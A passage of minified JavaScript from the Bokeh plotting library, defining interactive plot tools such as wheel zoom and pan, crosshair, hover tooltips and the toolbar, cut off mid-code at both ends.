A={xrs:g,yrs:S,factor:t};this.plot_view.push_state(\\\"wheel_pan\\\",{range:A}),this.plot_view.update_range(A,!1,!0),null!=this.model.document&&this.model.document.interactive_start(this.plot_model.plot)},e}(r.GestureToolView);i.WheelPanToolView=s;var a=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Wheel Pan\\\",e.icon=\\\"bk-tool-icon-wheel-pan\\\",e.event_type=\\\"scroll\\\",e.default_order=12,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"WheelPanTool\\\",this.prototype.default_view=s,this.define({dimension:[o.Dimension,\\\"width\\\"]}),this.internal({speed:[o.Number,.001]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimension)},enumerable:!0,configurable:!0}),t}(r.GestureTool);(i.WheelPanTool=a).initClass()},function(t,e,i){var n=t(391),r=t(251),c=t(46),o=t(15),s=t(20),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._pinch=function(t){var e,i=t.sx,n=t.sy,r=t.scale;e=1<=r?20*(r-1):-20/r,this._scroll({type:\\\"mousewheel\\\",sx:i,sy:n,delta:e})},e.prototype._scroll=function(t){var e=this.plot_model.frame,i=e.bbox.h_range,n=e.bbox.v_range,r=t.sx,o=t.sy,s=this.model.dimensions,a=(\\\"width\\\"==s||\\\"both\\\"==s)&&i.start<r&&r<i.end,l=(\\\"height\\\"==s||\\\"both\\\"==s)&&n.start<o&&o<n.end;if(a&&l||this.model.zoom_on_axis){var h=this.model.speed*t.delta,u=c.scale_range(e,h,a,l,{x:r,y:o});this.plot_view.push_state(\\\"wheel_zoom\\\",{range:u}),this.plot_view.update_range(u,!1,!0,this.model.maintain_focus),null!=this.model.document&&this.model.document.interactive_start(this.plot_model.plot)}},e}(r.GestureToolView);i.WheelZoomToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Wheel Zoom\\\",e.icon=\\\"bk-tool-icon-wheel-zoom\\\",e.event_type=s.is_mobile?\\\"pinch\\\":\\\"scroll\\\",e.default_order=10,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"WheelZoomTool\\\",this.prototype.default_view=a,this.define({dimensions:[o.Dimensions,\\\"both\\\"],maintain_focus:[o.Boolean,!0],zoom_on_axis:[o.Boolean,!0],speed:[o.Number,1/600]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimensions)},enumerable:!0,configurable:!0}),t}(r.GestureTool);(i.WheelZoomTool=l).initClass()},function(t,e,i){var n=t(232);i.ActionTool=n.ActionTool;var r=t(233);i.CustomAction=r.CustomAction;var o=t(234);i.HelpTool=o.HelpTool;var s=t(235);i.RedoTool=s.RedoTool;var a=t(236);i.ResetTool=a.ResetTool;var l=t(237);i.SaveTool=l.SaveTool;var h=t(238);i.UndoTool=h.UndoTool;var u=t(239);i.ZoomInTool=u.ZoomInTool;var c=t(240);i.ZoomOutTool=c.ZoomOutTool;var _=t(241);i.ButtonTool=_.ButtonTool;var p=t(243);i.EditTool=p.EditTool;var d=t(242);i.BoxEditTool=d.BoxEditTool;var f=t(244);i.FreehandDrawTool=f.FreehandDrawTool;var v=t(245);i.PointDrawTool=v.PointDrawTool;var m=t(246);i.PolyDrawTool=m.PolyDrawTool;var g=t(248);i.PolyTool=g.PolyTool;var y=t(247);i.PolyEditTool=y.PolyEditTool;var b=t(249);i.BoxSelectTool=b.BoxSelectTool;var x=t(250);i.BoxZoomTool=x.BoxZoomTool;var w=t(251);i.GestureTool=w.GestureTool;var k=t(252);i.LassoSelectTool=k.LassoSelectTool;var S=t(253);i.PanTool=S.PanTool;var C=t(254);i.PolySelectTool=C.PolySelectTool;var T=t(255);i.RangeTool=T.RangeTool;var A=t(256);i.SelectTool=A.SelectTool;var E=t(257);i.TapTool=E.TapTool;var M=t(258);i.WheelPanTool=M.WheelPanTool;var O=t(259);i.WheelZoomTool=O.WheelZoomTool;var z=t(261);i.CrosshairTool=z.CrosshairTool;var P=t(262);i.CustomJSHover=P.CustomJSHover;var j=t(263);i.HoverTool=j.HoverTool;var N=t(264);i.InspectTool=N.InspectTool;var F=t(266);i.Tool=F.Tool;var D=t(267);i.ToolProxy=D.ToolProxy;var I=t(268);i.Toolbar=I.Toolbar;var R=t(269);i.ToolbarBase=R.ToolbarBase;var B=t(270);i.ProxyToolbar=B.ProxyToolbar;var L=t(270);i.ToolbarBox=L.ToolbarBox},function(t,e,i){var n=t(391),r=t(264),o=t(73),s=t(15),a=t(32),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._move=function(t){if(this.model.active){var e=t.sx,i=t.sy;this.plot_model.frame.bbox.contains(e,i)?this._update_spans(e,i):this._update_spans(null,null)}},e.prototype._move_exit=function(t){this._update_spans(null,null)},e.prototype._update_spans=function(t,e){var i=this.model.dimensions;\\\"width\\\"!=i&&\\\"both\\\"!=i||(this.model.spans.width.computed_location=e),\\\"height\\\"!=i&&\\\"both\\\"!=i||(this.model.spans.height.computed_location=t)},e}(r.InspectToolView);i.CrosshairToolView=l;var h=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Crosshair\\\",e.icon=\\\"bk-tool-icon-crosshair\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"CrosshairTool\\\",this.prototype.default_view=l,this.define({dimensions:[s.Dimensions,\\\"both\\\"],line_color:[s.Color,\\\"black\\\"],line_width:[s.Number,1],line_alpha:[s.Number,1]}),this.internal({location_units:[s.SpatialUnits,\\\"screen\\\"],render_mode:[s.RenderMode,\\\"css\\\"],spans:[s.Any]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(\\\"Crosshair\\\",this.dimensions)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"synthetic_renderers\\\",{get:function(){return a.values(this.spans)},enumerable:!0,configurable:!0}),t.prototype.initialize=function(){i.prototype.initialize.call(this),this.spans={width:new o.Span({for_hover:!0,dimension:\\\"width\\\",render_mode:this.render_mode,location_units:this.location_units,line_color:this.line_color,line_width:this.line_width,line_alpha:this.line_alpha}),height:new o.Span({for_hover:!0,dimension:\\\"height\\\",render_mode:this.render_mode,location_units:this.location_units,line_color:this.line_color,line_width:this.line_width,line_alpha:this.line_alpha})}},t}(r.InspectTool);(i.CrosshairTool=h).initClass()},function(r,t,o){var i=r(391),e=r(59),n=r(15),s=r(32),a=r(38),l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CustomJSHover\\\",this.define({args:[n.Any,{}],code:[n.String,\\\"\\\"]})},Object.defineProperty(t.prototype,\\\"values\\\",{get:function(){return s.values(this.args)},enumerable:!0,configurable:!0}),t.prototype._make_code=function(t,e,i,n){return new(Function.bind.apply(Function,[void 0].concat(s.keys(this.args),[t,e,i,\\\"require\\\",\\\"exports\\\",a.use_strict(n)])))},t.prototype.format=function(t,e,i){var n=this._make_code(\\\"value\\\",\\\"format\\\",\\\"special_vars\\\",this.code);return n.apply(void 0,this.values.concat([t,e,i,r,o]))},t}(e.Model);(o.CustomJSHover=l).initClass()},function(t,e,i){var f=t(391),n=t(264),s=t(77),Z=t(185),tt=t(186),o=t(271),c=t(9),k=t(40),S=t(5),r=t(15),C=t(27),et=t(32),T=t(44),a=t(4);function it(t,e,i,n,r,o){var s,a,l={x:r[t],y:o[t]},h={x:r[t+1],y:o[t+1]};if(\\\"span\\\"==e.type)\\\"h\\\"==e.direction?(s=Math.abs(l.x-i),a=Math.abs(h.x-i)):(s=Math.abs(l.y-n),a=Math.abs(h.y-n));else{var u={x:i,y:n};s=c.dist_2_pts(l,u),a=c.dist_2_pts(h,u)}return s<a?[[l.x,l.y],t]:[[h.x,h.y],t+1]}function nt(t,e,i){return[[t[i],e[i]],i]}i._nearest_line_hit=it,i._line_hit=nt;var l=function(r){function t(){return null!==r&&r.apply(this,arguments)||this}return f.__extends(t,r),t.prototype.initialize=function(t){r.prototype.initialize.call(this,t),this.ttviews={}},t.prototype.remove=function(){a.remove_views(this.ttviews),r.prototype.remove.call(this)},t.prototype.connect_signals=function(){var t=this;r.prototype.connect_signals.call(this);for(var e=0,i=this.computed_renderers;e<i.length;e++){var n=i[e];n instanceof Z.GlyphRenderer?this.connect(n.data_source.inspect,this._update):(this.connect(n.node_renderer.data_source.inspect,this._update),this.connect(n.edge_renderer.data_source.inspect,this._update))}this.connect(this.model.properties.renderers.change,function(){return t._computed_renderers=t._ttmodels=null}),this.connect(this.model.properties.names.change,function(){return t._computed_renderers=t._ttmodels=null}),this.connect(this.model.properties.tooltips.change,function(){return t._ttmodels=null})},t.prototype._compute_ttmodels=function(){var t={},e=this.model.tooltips;if(null!=e)for(var i=0,n=this.computed_renderers;i<n.length;i++){var r=n[i];if(r instanceof Z.GlyphRenderer){var o=new s.Tooltip({custom:T.isString(e)||T.isFunction(e),attachment:this.model.attachment,show_arrow:this.model.show_arrow});t[r.id]=o}else{var o=new s.Tooltip({custom:T.isString(e)||T.isFunction(e),attachment:this.model.attachment,show_arrow:this.model.show_arrow});t[r.node_renderer.id]=o,t[r.edge_renderer.id]=o}}return a.build_views(this.ttviews,et.values(t),{parent:this,plot_view:this.plot_view}),t},Object.defineProperty(t.prototype,\\\"computed_renderers\\\",{get:function(){if(null==this._computed_renderers){var t=this.model.renderers,e=this.plot_model.plot.renderers,i=this.model.names;this._computed_renderers=o.compute_renderers(t,e,i)}return this._computed_renderers},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"ttmodels\\\",{get:function(){return null==this._ttmodels&&(this._ttmodels=this._compute_ttmodels()),this._ttmodels},enumerable:!0,configurable:!0}),t.prototype._clear=function(){for(var t in this._inspect(1/0,1/0),this.ttmodels){var e=this.ttmodels[t];e.clear()}},t.prototype._move=function(t){if(this.model.active){var e=t.sx,i=t.sy;this.plot_model.frame.bbox.contains(e,i)?this._inspect(e,i):this._clear()}},t.prototype._move_exit=function(){this._clear()},t.prototype._inspect=function(t,e){var i;if(\\\"mouse\\\"==this.model.mode)i={type:\\\"point\\\",sx:t,sy:e};else{var n=\\\"vline\\\"==this.model.mode?\\\"h\\\":\\\"v\\\";i={type:\\\"span\\\",direction:n,sx:t,sy:e}}for(var r=0,o=this.computed_renderers;r<o.length;r++){var s=o[r],a=s.get_selection_manager();a.inspect(this.plot_view.renderer_views[s.id],i)}null!=this.model.callback&&this._emit_callback(i)},t.prototype._update=function(t){var e,i,n,r,o,s,a,l,h,u,c,_,p,d,f,v,m=t[0],g=t[1].geometry;if(this.model.active&&(m instanceof Z.GlyphRendererView||m instanceof tt.GraphRendererView)){var y=m.model,b=this.ttmodels[y.id];if(null!=b){b.clear();var x=y.get_selection_manager(),w=x.inspectors[y.id];if(y instanceof Z.GlyphRenderer&&(w=y.view.convert_selection_to_subset(w)),!w.is_empty()){for(var k=x.source,S=this.plot_model.frame,C=g.sx,T=g.sy,A=S.xscales[y.x_range_name],E=S.yscales[y.y_range_name],M=A.invert(C),O=E.invert(T),z=m.glyph,P=0,j=w.line_indices;P<j.length;P++){var N=j[P],F=z._x[N+1],D=z._y[N+1],I=N,R=void 0,B=void 0;switch(this.model.line_policy){case\\\"interp\\\":e=z.get_interpolation_hit(N,g),F=e[0],D=e[1],R=A.compute(F),B=E.compute(D);break;case\\\"prev\\\":i=nt(z.sx,z.sy,N),n=i[0],R=n[0],B=n[1],I=i[1];break;case\\\"next\\\":r=nt(z.sx,z.sy,N+1),o=r[0],R=o[0],B=o[1],I=r[1];break;case\\\"nearest\\\":s=it(N,g,C,T,z.sx,z.sy),a=s[0],R=a[0],B=a[1],I=s[1],F=z._x[I],D=z._y[I];break;default:R=(l=[C,T])[0],B=l[1]}var L={index:I,x:M,y:O,sx:C,sy:T,data_x:F,data_y:D,rx:R,ry:B,indices:w.line_indices,name:m.model.name};b.add(R,B,this._render_tooltips(k,I,L))}for(var V=0,G=w.image_indices;V<G.length;V++){var U=G[V],L={index:U.index,x:M,y:O,sx:C,sy:T},q=this._render_tooltips(k,U,L);b.add(C,T,q)}for(var Y=0,X=w.indices;Y<X.length;Y++){var N=X[Y];if(et.isEmpty(w.multiline_indices)){var F=null!=z._x?z._x[N]:void 0,D=null!=z._y?z._y[N]:void 0,R=void 0,B=void 0;if(\\\"snap_to_data\\\"==this.model.point_policy){var H=z.get_anchor_point(this.model.anchor,N,[C,T]);null==H&&(H=z.get_anchor_point(\\\"center\\\",N,[C,T])),R=H.x,B=H.y}else R=(v=[C,T])[0],B=v[1];var W=void 0,L={index:W=y instanceof Z.GlyphRenderer?y.view.convert_indices_from_subset([N])[0]:N,x:M,y:O,sx:C,sy:T,data_x:F,data_y:D,indices:w.indices,name:m.model.name};b.add(R,B,this._render_tooltips(k,W,L))}else for(var J=0,Q=w.multiline_indices[N.toString()];J<Q.length;J++){var $=Q[J],F=z._xs[N][$],D=z._ys[N][$],K=$,R=void 0,B=void 0;switch(this.model.line_policy){case\\\"interp\\\":h=z.get_interpolation_hit(N,$,g),F=h[0],D=h[1],R=A.compute(F),B=E.compute(D);break;case\\\"prev\\\":u=nt(z.sxs[N],z.sys[N],$),c=u[0],R=c[0],B=c[1],K=u[1];break;case\\\"next\\\":_=nt(z.sxs[N],z.sys[N],$+1),p=_[0],R=p[0],B=p[1],K=_[1];break;case\\\"nearest\\\":d=it($,g,C,T,z.sxs[N],z.sys[N]),f=d[0],R=f[0],B=f[1],K=d[1],F=z._xs[N][K],D=z._ys[N][K];break;default:throw new Error(\\\"should't have happened\\\")}var W=void 0,L={index:W=y instanceof Z.GlyphRenderer?y.view.convert_indices_from_subset([N])[0]:N,segment_index:K,x:M,y:O,sx:C,sy:T,data_x:F,data_y:D,indices:w.multiline_indices,name:m.model.name};b.add(R,B,this._render_tooltips(k,W,L))}}}}}},t.prototype._emit_callback=function(t){for(var e=0,i=this.computed_renderers;e<i.length;e++){var n=i[e],r=n.data_source.inspected,o=this.plot_model.frame,s=o.xscales[n.x_range_name],a=o.yscales[n.y_range_name],l=s.invert(t.sx),h=a.invert(t.sy),u=f.__assign({x:l,y:h},t),c=this.model.callback,_=[c,{index:r,geometry:u,renderer:n}],p=_[0],d=_[1];T.isFunction(c)?c(p,d):c.execute(p,d)}},t.prototype._render_tooltips=function(t,e,i){var n=this.model.tooltips;if(T.isString(n)){var r=S.div();return r.innerHTML=k.replace_placeholders(n,t,e,this.model.formatters,i),r}if(T.isFunction(n))return n(t,i);for(var o=S.div({style:{display:\\\"table\\\",borderSpacing:\\\"2px\\\"}}),s=0,a=n;s<a.length;s++){var l=a[s],h=l[0],u=l[1],c=S.div({style:{display:\\\"table-row\\\"}});o.appendChild(c);var _=void 0;if(_=S.div({style:{display:\\\"table-cell\\\"},class:\\\"bk-tooltip-row-label\\\"},h+\\\": \\\"),c.appendChild(_),_=S.div({style:{display:\\\"table-cell\\\"},class:\\\"bk-tooltip-row-value\\\"}),c.appendChild(_),0<=u.indexOf(\\\"$color\\\")){var p=u.match(/\\\\$color(\\\\[.*\\\\])?:(\\\\w*)/),d=p[1],f=void 0===d?\\\"\\\":d,v=p[2],m=t.get_column(v);if(null==m){var g=S.span({},v+\\\" unknown\\\");_.appendChild(g);continue}var y=0<=f.indexOf(\\\"hex\\\"),b=0<=f.indexOf(\\\"swatch\\\"),x=T.isNumber(e)?m[e]:null;if(null==x){var w=S.span({},\\\"(null)\\\");_.appendChild(w);continue}y&&(x=C.color2hex(x));var r=S.span({},x);_.appendChild(r),b&&(r=S.span({class:\\\"bk-tooltip-color-block\\\",style:{backgroundColor:x}},\\\" \\\"),_.appendChild(r))}else{var r=S.span();r.innerHTML=k.replace_placeholders(u.replace(\\\"$~\\\",\\\"$data_\\\"),t,e,this.model.formatters,i),_.appendChild(r)}}return o},t}(n.InspectToolView);i.HoverToolView=l;var h=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Hover\\\",e.icon=\\\"bk-tool-icon-hover\\\",e}return f.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"HoverTool\\\",this.prototype.default_view=l,this.define({tooltips:[r.Any,[[\\\"index\\\",\\\"$index\\\"],[\\\"data (x, y)\\\",\\\"($x, $y)\\\"],[\\\"screen (x, y)\\\",\\\"($sx, $sy)\\\"]]],formatters:[r.Any,{}],renderers:[r.Any,\\\"auto\\\"],names:[r.Array,[]],mode:[r.String,\\\"mouse\\\"],point_policy:[r.String,\\\"snap_to_data\\\"],line_policy:[r.String,\\\"nearest\\\"],show_arrow:[r.Boolean,!0],anchor:[r.String,\\\"center\\\"],attachment:[r.String,\\\"horizontal\\\"],callback:[r.Any]})},t}(n.InspectTool);(i.HoverTool=h).initClass()},function(t,e,i){var n=t(391),r=t(241),o=t(265),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.ButtonToolView);i.InspectToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.event_type=\\\"move\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"InspectTool\\\",this.prototype.button_view=o.OnOffButtonView,this.define({toggleable:[s.Bool,!0]}),this.override({active:!0})},t}(r.ButtonTool);(i.InspectTool=l).initClass()},function(t,e,i){var n=t(391),r=t(241),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.render=function(){t.prototype.render.call(this),this.model.active?this.el.classList.add(\\\"bk-active\\\"):this.el.classList.remove(\\\"bk-active\\\")},e.prototype._clicked=function(){var t=this.model.active;this.model.active=!t},e}(r.ButtonToolButtonView);i.OnOffButtonView=o},function(t,e,i){var n=t(391),r=t(15),o=t(48),_=t(21),s=t(59),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.plot_view=t.plot_view},Object.defineProperty(t.prototype,\\\"plot_model\\\",{get:function(){return this.plot_view.model},enumerable:!0,configurable:!0}),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.active.change,function(){t.model.active?t.activate():t.deactivate()})},t.prototype.activate=function(){},t.prototype.deactivate=function(){},t}(o.View);i.ToolView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Tool\\\",this.internal({active:[r.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"synthetic_renderers\\\",{get:function(){return[]},enumerable:!0,configurable:!0}),t.prototype._get_dim_tooltip=function(t,e){switch(e){case\\\"width\\\":return t+\\\" (x-axis)\\\";case\\\"height\\\":return t+\\\" (y-axis)\\\";case\\\"both\\\":return t}},t.prototype._get_dim_limits=function(t,e,i,n){var r,o=t[0],s=t[1],a=e[0],l=e[1],h=i.bbox.h_range;\\\"width\\\"==n||\\\"both\\\"==n?(r=[_.min([o,a]),_.max([o,a])],r=[_.max([r[0],h.start]),_.min([r[1],h.end])]):r=[h.start,h.end];var u,c=i.bbox.v_range;return\\\"height\\\"==n||\\\"both\\\"==n?(u=[_.min([s,l]),_.max([s,l])],u=[_.max([u[0],c.start]),_.min([u[1],c.end])]):u=[c.start,c.end],[r,u]},t}(s.Model);(i.Tool=l).initClass()},function(t,e,i){var n=t(391),r=t(15),o=t(19),s=t(59),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ToolProxy\\\",this.define({tools:[r.Array,[]],active:[r.Bool,!1],disabled:[r.Bool,!1]})},Object.defineProperty(t.prototype,\\\"button_view\\\",{get:function(){return this.tools[0].button_view},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"event_type\\\",{get:function(){return this.tools[0].event_type},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this.tools[0].tooltip},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"tool_name\\\",{get:function(){return this.tools[0].tool_name},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"icon\\\",{get:function(){return this.tools[0].computed_icon},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"computed_icon\\\",{get:function(){return this.icon},enumerable:!0,configurable:!0}),t.prototype.initialize=function(){e.prototype.initialize.call(this),this.do=new o.Signal0(this,\\\"do\\\")},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.do,function(){return t.doit()}),this.connect(this.properties.active.change,function(){return t.set_active()})},t.prototype.doit=function(){for(var t=0,e=this.tools;t<e.length;t++){var i=e[t];i.do.emit()}},t.prototype.set_active=function(){for(var t=0,e=this.tools;t<e.length;t++){var i=e[t];i.active=this.active}},t}(s.Model);(i.ToolProxy=a).initClass()},function(t,e,i){var n=t(391),r=t(15),v=t(14),m=t(44),g=t(21),y=t(232),b=t(234),x=t(251),w=t(264),o=t(269),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Toolbar\\\",this.prototype.default_view=o.ToolbarBaseView,this.define({active_drag:[r.Any,\\\"auto\\\"],active_inspect:[r.Any,\\\"auto\\\"],active_scroll:[r.Any,\\\"auto\\\"],active_tap:[r.Any,\\\"auto\\\"],active_multi:[r.Any,null]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._init_tools()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.properties.tools.change,function(){return t._init_tools()})},t.prototype._init_tools=function(){for(var e=this,t=function(e){if(e instanceof w.InspectTool)g.any(s.inspectors,function(t){return t.id==e.id})||(s.inspectors=s.inspectors.concat([e]));else if(e instanceof b.HelpTool)g.any(s.help,function(t){return t.id==e.id})||(s.help=s.help.concat([e]));else if(e instanceof y.ActionTool)g.any(s.actions,function(t){return t.id==e.id})||(s.actions=s.actions.concat([e]));else if(e instanceof x.GestureTool){var t=void 0,i=void 0;m.isString(e.event_type)?(t=[e.event_type],i=!1):(t=e.event_type||[],i=!0);for(var n=0,r=t;n<r.length;n++){var o=r[n];o in s.gestures?(i&&(o=\\\"multi\\\"),g.any(s.gestures[o].tools,function(t){return t.id==e.id})||(s.gestures[o].tools=s.gestures[o].tools.concat([e])),s.connect(e.properties.active.change,s._active_change.bind(s,e))):v.logger.warn(\\\"Toolbar: unknown event type '\\\"+o+\\\"' for tool: \\\"+e.type+\\\" (\\\"+e.id+\\\")\\\")}}},s=this,i=0,n=this.tools;i<n.length;i++){var r=n[i];t(r)}if(\\\"auto\\\"==this.active_inspect);else if(this.active_inspect instanceof w.InspectTool)for(var o=0,a=this.inspectors;o<a.length;o++){var l=a[o];l!=this.active_inspect&&(l.active=!1)}else if(m.isArray(this.active_inspect))for(var h=0,u=this.inspectors;h<u.length;h++){var l=u[h];g.includes(this.active_inspect,l)||(l.active=!1)}else if(null==this.active_inspect)for(var c=0,_=this.inspectors;c<_.length;c++){var l=_[c];l.active=!1}var p=function(t){t.active?e._active_change(t):t.active=!0};for(var d in this.gestures){var f=this.gestures[d];if(0!=f.tools.length){if(f.tools=g.sortBy(f.tools,function(t){return t.default_order}),\\\"tap\\\"==d){if(null==this.active_tap)continue;\\\"auto\\\"==this.active_tap?p(f.tools[0]):p(this.active_tap)}if(\\\"pan\\\"==d){if(null==this.active_drag)continue;\\\"auto\\\"==this.active_drag?p(f.tools[0]):p(this.active_drag)}if(\\\"pinch\\\"==d||\\\"scroll\\\"==d){if(null==this.active_scroll||\\\"auto\\\"==this.active_scroll)continue;p(this.active_scroll)}null!=this.active_multi&&p(this.active_multi)}}},t}(o.ToolbarBase);(i.Toolbar=s).initClass()},function(t,e,i){var n=t(391),a=t(14),c=t(5),r=t(4),o=t(15),s=t(6),l=t(44),h=t(59),u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ToolbarBase\\\",this.define({_visible:[o.Bool,null],autohide:[o.Bool,!1]})},Object.defineProperty(t.prototype,\\\"visible\\\",{get:function(){return!this.autohide||null!=this._visible&&this._visible},enumerable:!0,configurable:!0}),t}(h.Model);(i.ToolbarViewModel=u).initClass();var _=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this._tool_button_views={},this._build_tool_button_views(),this._toolbar_view_model=new u({autohide:this.model.autohide})},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.tools.change,function(){return t._build_tool_button_views()}),this.connect(this.model.properties.autohide.change,function(){t._toolbar_view_model.autohide=t.model.autohide,t._on_visible_change()}),this.connect(this._toolbar_view_model.properties._visible.change,function(){return t._on_visible_change()})},t.prototype.remove=function(){r.remove_views(this._tool_button_views),e.prototype.remove.call(this)},t.prototype._build_tool_button_views=function(){var t=null!=this.model._proxied_tools?this.model._proxied_tools:this.model.tools;r.build_views(this._tool_button_views,t,{parent:this},function(t){return t.button_view})},t.prototype.set_visibility=function(t){t!=this._toolbar_view_model._visible&&(this._toolbar_view_model._visible=t)},t.prototype._on_visible_change=function(){var t=this._toolbar_view_model.visible,e=\\\"bk-toolbar-hidden\\\";this.el.classList.contains(e)&&t?this.el.classList.remove(e):t||this.el.classList.add(e)},t.prototype.render=function(){var e=this;if(c.empty(this.el),this.el.classList.add(\\\"bk-toolbar\\\"),this.el.classList.add(\\\"bk-toolbar-\\\"+this.model.toolbar_location),this._toolbar_view_model.autohide=this.model.autohide,this._on_visible_change(),null!=this.model.logo){var t=\\\"grey\\\"===this.model.logo?\\\"bk-grey\\\":null,i=c.a({href:\\\"https://bokeh.pydata.org/\\\",target:\\\"_blank\\\",class:[\\\"bk-logo\\\",\\\"bk-logo-small\\\",t]});this.el.appendChild(i)}var n=[],r=function(t){return e._tool_button_views[t.id].el},o=this.model.gestures;for(var s in o)n.push(o[s].tools.map(r));n.push(this.model.actions.map(r)),n.push(this.model.inspectors.filter(function(t){return t.toggleable}).map(r)),n.push(this.model.help.map(r));for(var a=0,l=n;a<l.length;a++){var h=l[a];if(0!==h.length){var u=c.div({class:\\\"bk-button-bar\\\"},h);this.el.appendChild(u)}}},t}(s.DOMView);i.ToolbarBaseView=_;var p=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ToolbarBase\\\",this.prototype.default_view=_,this.define({tools:[o.Array,[]],logo:[o.String,\\\"normal\\\"],autohide:[o.Bool,!1]}),this.internal({gestures:[o.Any,function(){return{pan:{tools:[],active:null},scroll:{tools:[],active:null},pinch:{tools:[],active:null},tap:{tools:[],active:null},doubletap:{tools:[],active:null},press:{tools:[],active:null},rotate:{tools:[],active:null},move:{tools:[],active:null},multi:{tools:[],active:null}}}],actions:[o.Array,[]],inspectors:[o.Array,[]],help:[o.Array,[]],toolbar_location:[o.Location,\\\"right\\\"]})},Object.defineProperty(t.prototype,\\\"horizontal\\\",{get:function(){return\\\"above\\\"===this.toolbar_location||\\\"below\\\"===this.toolbar_location},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"vertical\\\",{get:function(){return\\\"left\\\"===this.toolbar_location||\\\"right\\\"===this.toolbar_location},enumerable:!0,configurable:!0}),t.prototype._active_change=function(t){var e=t.event_type;if(null!=e)for(var i=l.isString(e)?[e]:e,n=0,r=i;n<r.length;n++){var o=r[n];if(t.active){var s=this.gestures[o].active;null!=s&&t!=s&&(a.logger.debug(\\\"Toolbar: deactivating tool: \\\"+s.type+\\\" (\\\"+s.id+\\\") for event type '\\\"+o+\\\"'\\\"),s.active=!1),this.gestures[o].active=t,a.logger.debug(\\\"Toolbar: activating tool: \\\"+t.type+\\\" (\\\"+t.id+\\\") for event type '\\\"+o+\\\"'\\\")}else this.gestures[o].active=null}},t}(h.Model);(i.ToolbarBase=p).initClass()},function(t,e,i){var n=t(391),r=t(15),o=t(5),a=t(14),l=t(44),E=t(21),h=t(232),u=t(234),c=t(251),_=t(264),s=t(269),M=t(267),p=t(157),d=t(4),f=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ProxyToolbar\\\"},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._init_tools(),this._merge_tools()},t.prototype._init_tools=function(){for(var t=function(e){if(e instanceof _.InspectTool)E.any(s.inspectors,function(t){return t.id==e.id})||(s.inspectors=s.inspectors.concat([e]));else if(e instanceof u.HelpTool)E.any(s.help,function(t){return t.id==e.id})||(s.help=s.help.concat([e]));else if(e instanceof h.ActionTool)E.any(s.actions,function(t){return t.id==e.id})||(s.actions=s.actions.concat([e]));else if(e instanceof c.GestureTool){var t=void 0,i=void 0;l.isString(e.event_type)?(t=[e.event_type],i=!1):(t=e.event_type||[],i=!0);for(var n=0,r=t;n<r.length;n++){var o=r[n];o in s.gestures?(i&&(o=\\\"multi\\\"),E.any(s.gestures[o].tools,function(t){return t.id==e.id})||(s.gestures[o].tools=s.gestures[o].tools.concat([e]))):a.logger.warn(\\\"Toolbar: unknown event type '\\\"+o+\\\"' for tool: \\\"+e.type+\\\" (\\\"+e.id+\\\")\\\")}}},s=this,e=0,i=this.tools;e<i.length;e++){var n=i[e];t(n)}},t.prototype._merge_tools=function(){var t,n=this;this._proxied_tools=[];for(var e={},i={},r={},o=[],s=[],a=0,l=this.help;a<l.length;a++){var h=l[a];E.includes(s,h.redirect)||(o.push(h),s.push(h.redirect))}for(var u in(t=this._proxied_tools).push.apply(t,o),this.help=o,this.gestures){var c=this.gestures[u];u in r||(r[u]={});for(var _=0,p=c.tools;_<p.length;_++){var d=p[_];d.type in 